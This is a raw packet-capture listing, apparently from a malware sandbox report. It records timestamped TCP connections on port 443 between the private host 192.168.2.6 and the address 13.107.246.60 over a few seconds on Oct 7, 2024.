Oct 7, 2024 03:16:44.681211948 CEST	49943	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.681351900 CEST	49943	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.681385040 CEST	443	49943	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.689049959 CEST	443	49940	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.689141035 CEST	443	49940	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.689239979 CEST	49940	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.689558983 CEST	49940	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.689558983 CEST	49940	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.689584017 CEST	443	49940	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.689606905 CEST	443	49940	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.697593927 CEST	443	49937	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.697665930 CEST	443	49937	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.697724104 CEST	49937	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.697740078 CEST	443	49937	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.697789907 CEST	443	49937	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.697839975 CEST	49937	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.700320959 CEST	49937	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.700333118 CEST	443	49937	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.700346947 CEST	49937	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.700356007 CEST	443	49937	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.700584888 CEST	49944	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.700642109 CEST	443	49944	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.700700998 CEST	49944	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.700850964 CEST	49944	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.700870991 CEST	443	49944	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.703001022 CEST	49945	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.703039885 CEST	443	49945	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.703121901 CEST	49945	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.703229904 CEST	49945	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.703248024 CEST	443	49945	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.079111099 CEST	443	49941	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.079885006 CEST	49941	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.079902887 CEST	443	49941	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.080405951 CEST	49941	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.080410957 CEST	443	49941	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.181809902 CEST	443	49941	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.182086945 CEST	443	49941	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.182147980 CEST	49941	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.182230949 CEST	49941	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.182250977 CEST	443	49941	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.182264090 CEST	49941	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.182269096 CEST	443	49941	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.185987949 CEST	49946	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.186032057 CEST	443	49946	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.186115026 CEST	49946	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.186269999 CEST	49946	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.186285973 CEST	443	49946	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.321845055 CEST	443	49943	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.322422028 CEST	49943	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.322499037 CEST	443	49943	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.323066950 CEST	49943	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.323081017 CEST	443	49943	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.326097965 CEST	443	49942	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.326510906 CEST	49942	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.326539993 CEST	443	49942	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.326945066 CEST	49942	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.326950073 CEST	443	49942	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.338265896 CEST	443	49944	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.338731050 CEST	49944	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.338810921 CEST	443	49944	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.338927031 CEST	49944	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.338942051 CEST	443	49944	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.354854107 CEST	443	49945	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.355186939 CEST	49945	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.355201006 CEST	443	49945	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.355506897 CEST	49945	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.355511904 CEST	443	49945	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.419810057 CEST	443	49943	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.420100927 CEST	443	49943	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.420169115 CEST	49943	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.420222044 CEST	49943	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.420248032 CEST	443	49943	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.420277119 CEST	49943	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.420289040 CEST	443	49943	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.423944950 CEST	49948	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.424019098 CEST	443	49948	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.424102068 CEST	49948	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.424308062 CEST	49948	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.424340010 CEST	443	49948	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.426805019 CEST	443	49942	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.427057981 CEST	443	49942	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.427095890 CEST	443	49942	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.427105904 CEST	49942	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.427164078 CEST	49942	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.427191019 CEST	49942	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.427205086 CEST	443	49942	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.427215099 CEST	49942	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.427218914 CEST	443	49942	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.429454088 CEST	49949	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.429490089 CEST	443	49949	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.429563046 CEST	49949	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.429738045 CEST	49949	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.429754019 CEST	443	49949	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.436891079 CEST	443	49944	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.437091112 CEST	443	49944	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.437155962 CEST	49944	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.437216043 CEST	49944	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.437216997 CEST	49944	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.437251091 CEST	443	49944	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.437275887 CEST	443	49944	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.439698935 CEST	49950	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.439711094 CEST	443	49950	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.439773083 CEST	49950	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.439975977 CEST	49950	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.439989090 CEST	443	49950	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.456007957 CEST	443	49945	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.456166029 CEST	443	49945	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.456218958 CEST	49945	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.456341028 CEST	49945	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.456353903 CEST	443	49945	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.456366062 CEST	49945	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.456372023 CEST	443	49945	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.459157944 CEST	49951	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.459248066 CEST	443	49951	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.459355116 CEST	49951	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.459505081 CEST	49951	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.459542036 CEST	443	49951	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.838499069 CEST	443	49946	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.839243889 CEST	49946	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.839267969 CEST	443	49946	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.839739084 CEST	49946	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.839744091 CEST	443	49946	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.940825939 CEST	443	49946	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.941567898 CEST	443	49946	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.941747904 CEST	49946	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.941747904 CEST	49946	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.942699909 CEST	49946	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.942714930 CEST	443	49946	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.945355892 CEST	49952	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.945451975 CEST	443	49952	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:45.945631027 CEST	49952	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.945882082 CEST	49952	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:45.945924044 CEST	443	49952	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.086956978 CEST	443	49950	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.087620020 CEST	49950	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.087640047 CEST	443	49950	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.088073969 CEST	49950	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.088078976 CEST	443	49950	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.091912985 CEST	443	49949	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.092216015 CEST	49949	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.092226028 CEST	443	49949	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.092504978 CEST	49949	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.092510939 CEST	443	49949	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.103564024 CEST	443	49951	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.103982925 CEST	49951	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.104017019 CEST	443	49951	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.104203939 CEST	49951	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.104219913 CEST	443	49951	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.185884953 CEST	443	49950	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.186371088 CEST	443	49950	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.186440945 CEST	49950	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.186609983 CEST	49950	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.186638117 CEST	443	49950	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.186651945 CEST	49950	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.186664104 CEST	443	49950	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.190545082 CEST	49953	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.190574884 CEST	443	49953	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.190651894 CEST	49953	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.190943956 CEST	49953	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.190962076 CEST	443	49953	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.191370010 CEST	443	49949	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.191557884 CEST	443	49949	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.191615105 CEST	49949	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.191689014 CEST	49949	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.191694975 CEST	443	49949	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.191706896 CEST	49949	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.191711903 CEST	443	49949	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.194128036 CEST	49954	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.194138050 CEST	443	49954	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.194204092 CEST	49954	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.194413900 CEST	49954	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.194430113 CEST	443	49954	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.201268911 CEST	443	49951	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.201355934 CEST	443	49951	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.201423883 CEST	49951	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.201452971 CEST	443	49951	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.201518059 CEST	49951	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.201518059 CEST	49951	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.201575994 CEST	443	49951	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.201616049 CEST	49951	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.201633930 CEST	443	49951	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.204039097 CEST	49955	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.204086065 CEST	443	49955	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.204161882 CEST	49955	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.204328060 CEST	49955	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.204360008 CEST	443	49955	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.585536003 CEST	443	49952	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.587558031 CEST	49952	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.587621927 CEST	443	49952	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.588119030 CEST	49952	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.588135958 CEST	443	49952	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.685482025 CEST	443	49952	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.686532974 CEST	443	49952	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.686742067 CEST	49952	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.687112093 CEST	49952	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.687112093 CEST	49952	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.687159061 CEST	443	49952	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.687190056 CEST	443	49952	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.690637112 CEST	49956	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.690716982 CEST	443	49956	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.690871954 CEST	49956	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.691096067 CEST	49956	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.691131115 CEST	443	49956	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.830183029 CEST	443	49953	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.832873106 CEST	49953	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.832895994 CEST	443	49953	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.833343029 CEST	49953	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.833348036 CEST	443	49953	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.847716093 CEST	443	49955	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.848949909 CEST	49955	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.849035978 CEST	443	49955	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.849241018 CEST	49955	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.849256992 CEST	443	49955	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.863359928 CEST	443	49954	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.864614010 CEST	49954	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.864629030 CEST	443	49954	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.864934921 CEST	49954	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.864940882 CEST	443	49954	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.928586960 CEST	443	49953	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.928659916 CEST	443	49953	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.928770065 CEST	443	49953	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.928778887 CEST	49953	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.928849936 CEST	49953	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.929167032 CEST	49953	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.929189920 CEST	443	49953	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.929202080 CEST	49953	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.929209948 CEST	443	49953	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.932782888 CEST	49957	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.932828903 CEST	443	49957	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.932899952 CEST	49957	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.933095932 CEST	49957	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.933111906 CEST	443	49957	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.948930979 CEST	443	49955	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.949031115 CEST	443	49955	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.949127913 CEST	443	49955	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.949153900 CEST	49955	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.949217081 CEST	49955	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.949265957 CEST	49955	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.949265957 CEST	49955	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.949311018 CEST	443	49955	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.949340105 CEST	443	49955	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.951530933 CEST	49958	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.951539040 CEST	443	49958	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.951616049 CEST	49958	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.951787949 CEST	49958	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.951801062 CEST	443	49958	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.965733051 CEST	443	49954	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.965892076 CEST	443	49954	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.965960026 CEST	49954	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.965997934 CEST	49954	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.966003895 CEST	443	49954	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.966027021 CEST	49954	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.966032028 CEST	443	49954	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.967979908 CEST	49959	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.968080044 CEST	443	49959	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:46.968168974 CEST	49959	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.968347073 CEST	49959	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:46.968380928 CEST	443	49959	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.357744932 CEST	443	49956	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.358279943 CEST	49956	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.358326912 CEST	443	49956	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.358757973 CEST	49956	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.358773947 CEST	443	49956	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.463287115 CEST	443	49956	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.463499069 CEST	443	49956	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.463682890 CEST	49956	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.463768005 CEST	49956	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.463768959 CEST	49956	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.463810921 CEST	443	49956	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.463840961 CEST	443	49956	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.466877937 CEST	49960	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.466967106 CEST	443	49960	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.467061996 CEST	49960	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.467236996 CEST	49960	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.467277050 CEST	443	49960	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.573774099 CEST	443	49957	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.574410915 CEST	49957	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.574430943 CEST	443	49957	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.574877024 CEST	49957	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.574882030 CEST	443	49957	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.602225065 CEST	443	49958	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.602686882 CEST	49958	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.602720022 CEST	443	49958	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.603049994 CEST	49958	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.603055954 CEST	443	49958	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.619895935 CEST	443	49959	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.620345116 CEST	49959	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.620408058 CEST	443	49959	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.620553970 CEST	49959	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.620569944 CEST	443	49959	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.672136068 CEST	443	49957	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.672308922 CEST	443	49957	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.672404051 CEST	49957	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.672527075 CEST	49957	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.672544956 CEST	443	49957	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.672554970 CEST	49957	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.672560930 CEST	443	49957	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.675988913 CEST	49961	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.676012993 CEST	443	49961	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.676096916 CEST	49961	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.676246881 CEST	49961	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.676258087 CEST	443	49961	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.700104952 CEST	443	49958	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.700500965 CEST	443	49958	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.700578928 CEST	49958	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.700611115 CEST	49958	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.700611115 CEST	49958	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.700625896 CEST	443	49958	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.700635910 CEST	443	49958	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.703285933 CEST	49962	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.703304052 CEST	443	49962	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.703373909 CEST	49962	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.703512907 CEST	49962	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.703522921 CEST	443	49962	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.720992088 CEST	443	49959	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.721035004 CEST	443	49959	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.721080065 CEST	443	49959	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.721091986 CEST	49959	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.721295118 CEST	49959	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.721295118 CEST	49959	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.721296072 CEST	49959	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.723573923 CEST	49963	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.723664999 CEST	443	49963	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:47.723751068 CEST	49963	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.723876953 CEST	49963	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:47.723912954 CEST	443	49963	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.024302959 CEST	49959	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.024359941 CEST	443	49959	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.106591940 CEST	443	49960	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.113246918 CEST	49960	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.113291025 CEST	443	49960	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:48.113775969 CEST	49960	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:48.113786936 CEST	443	49960	13.107.246.60	192.168.2.6
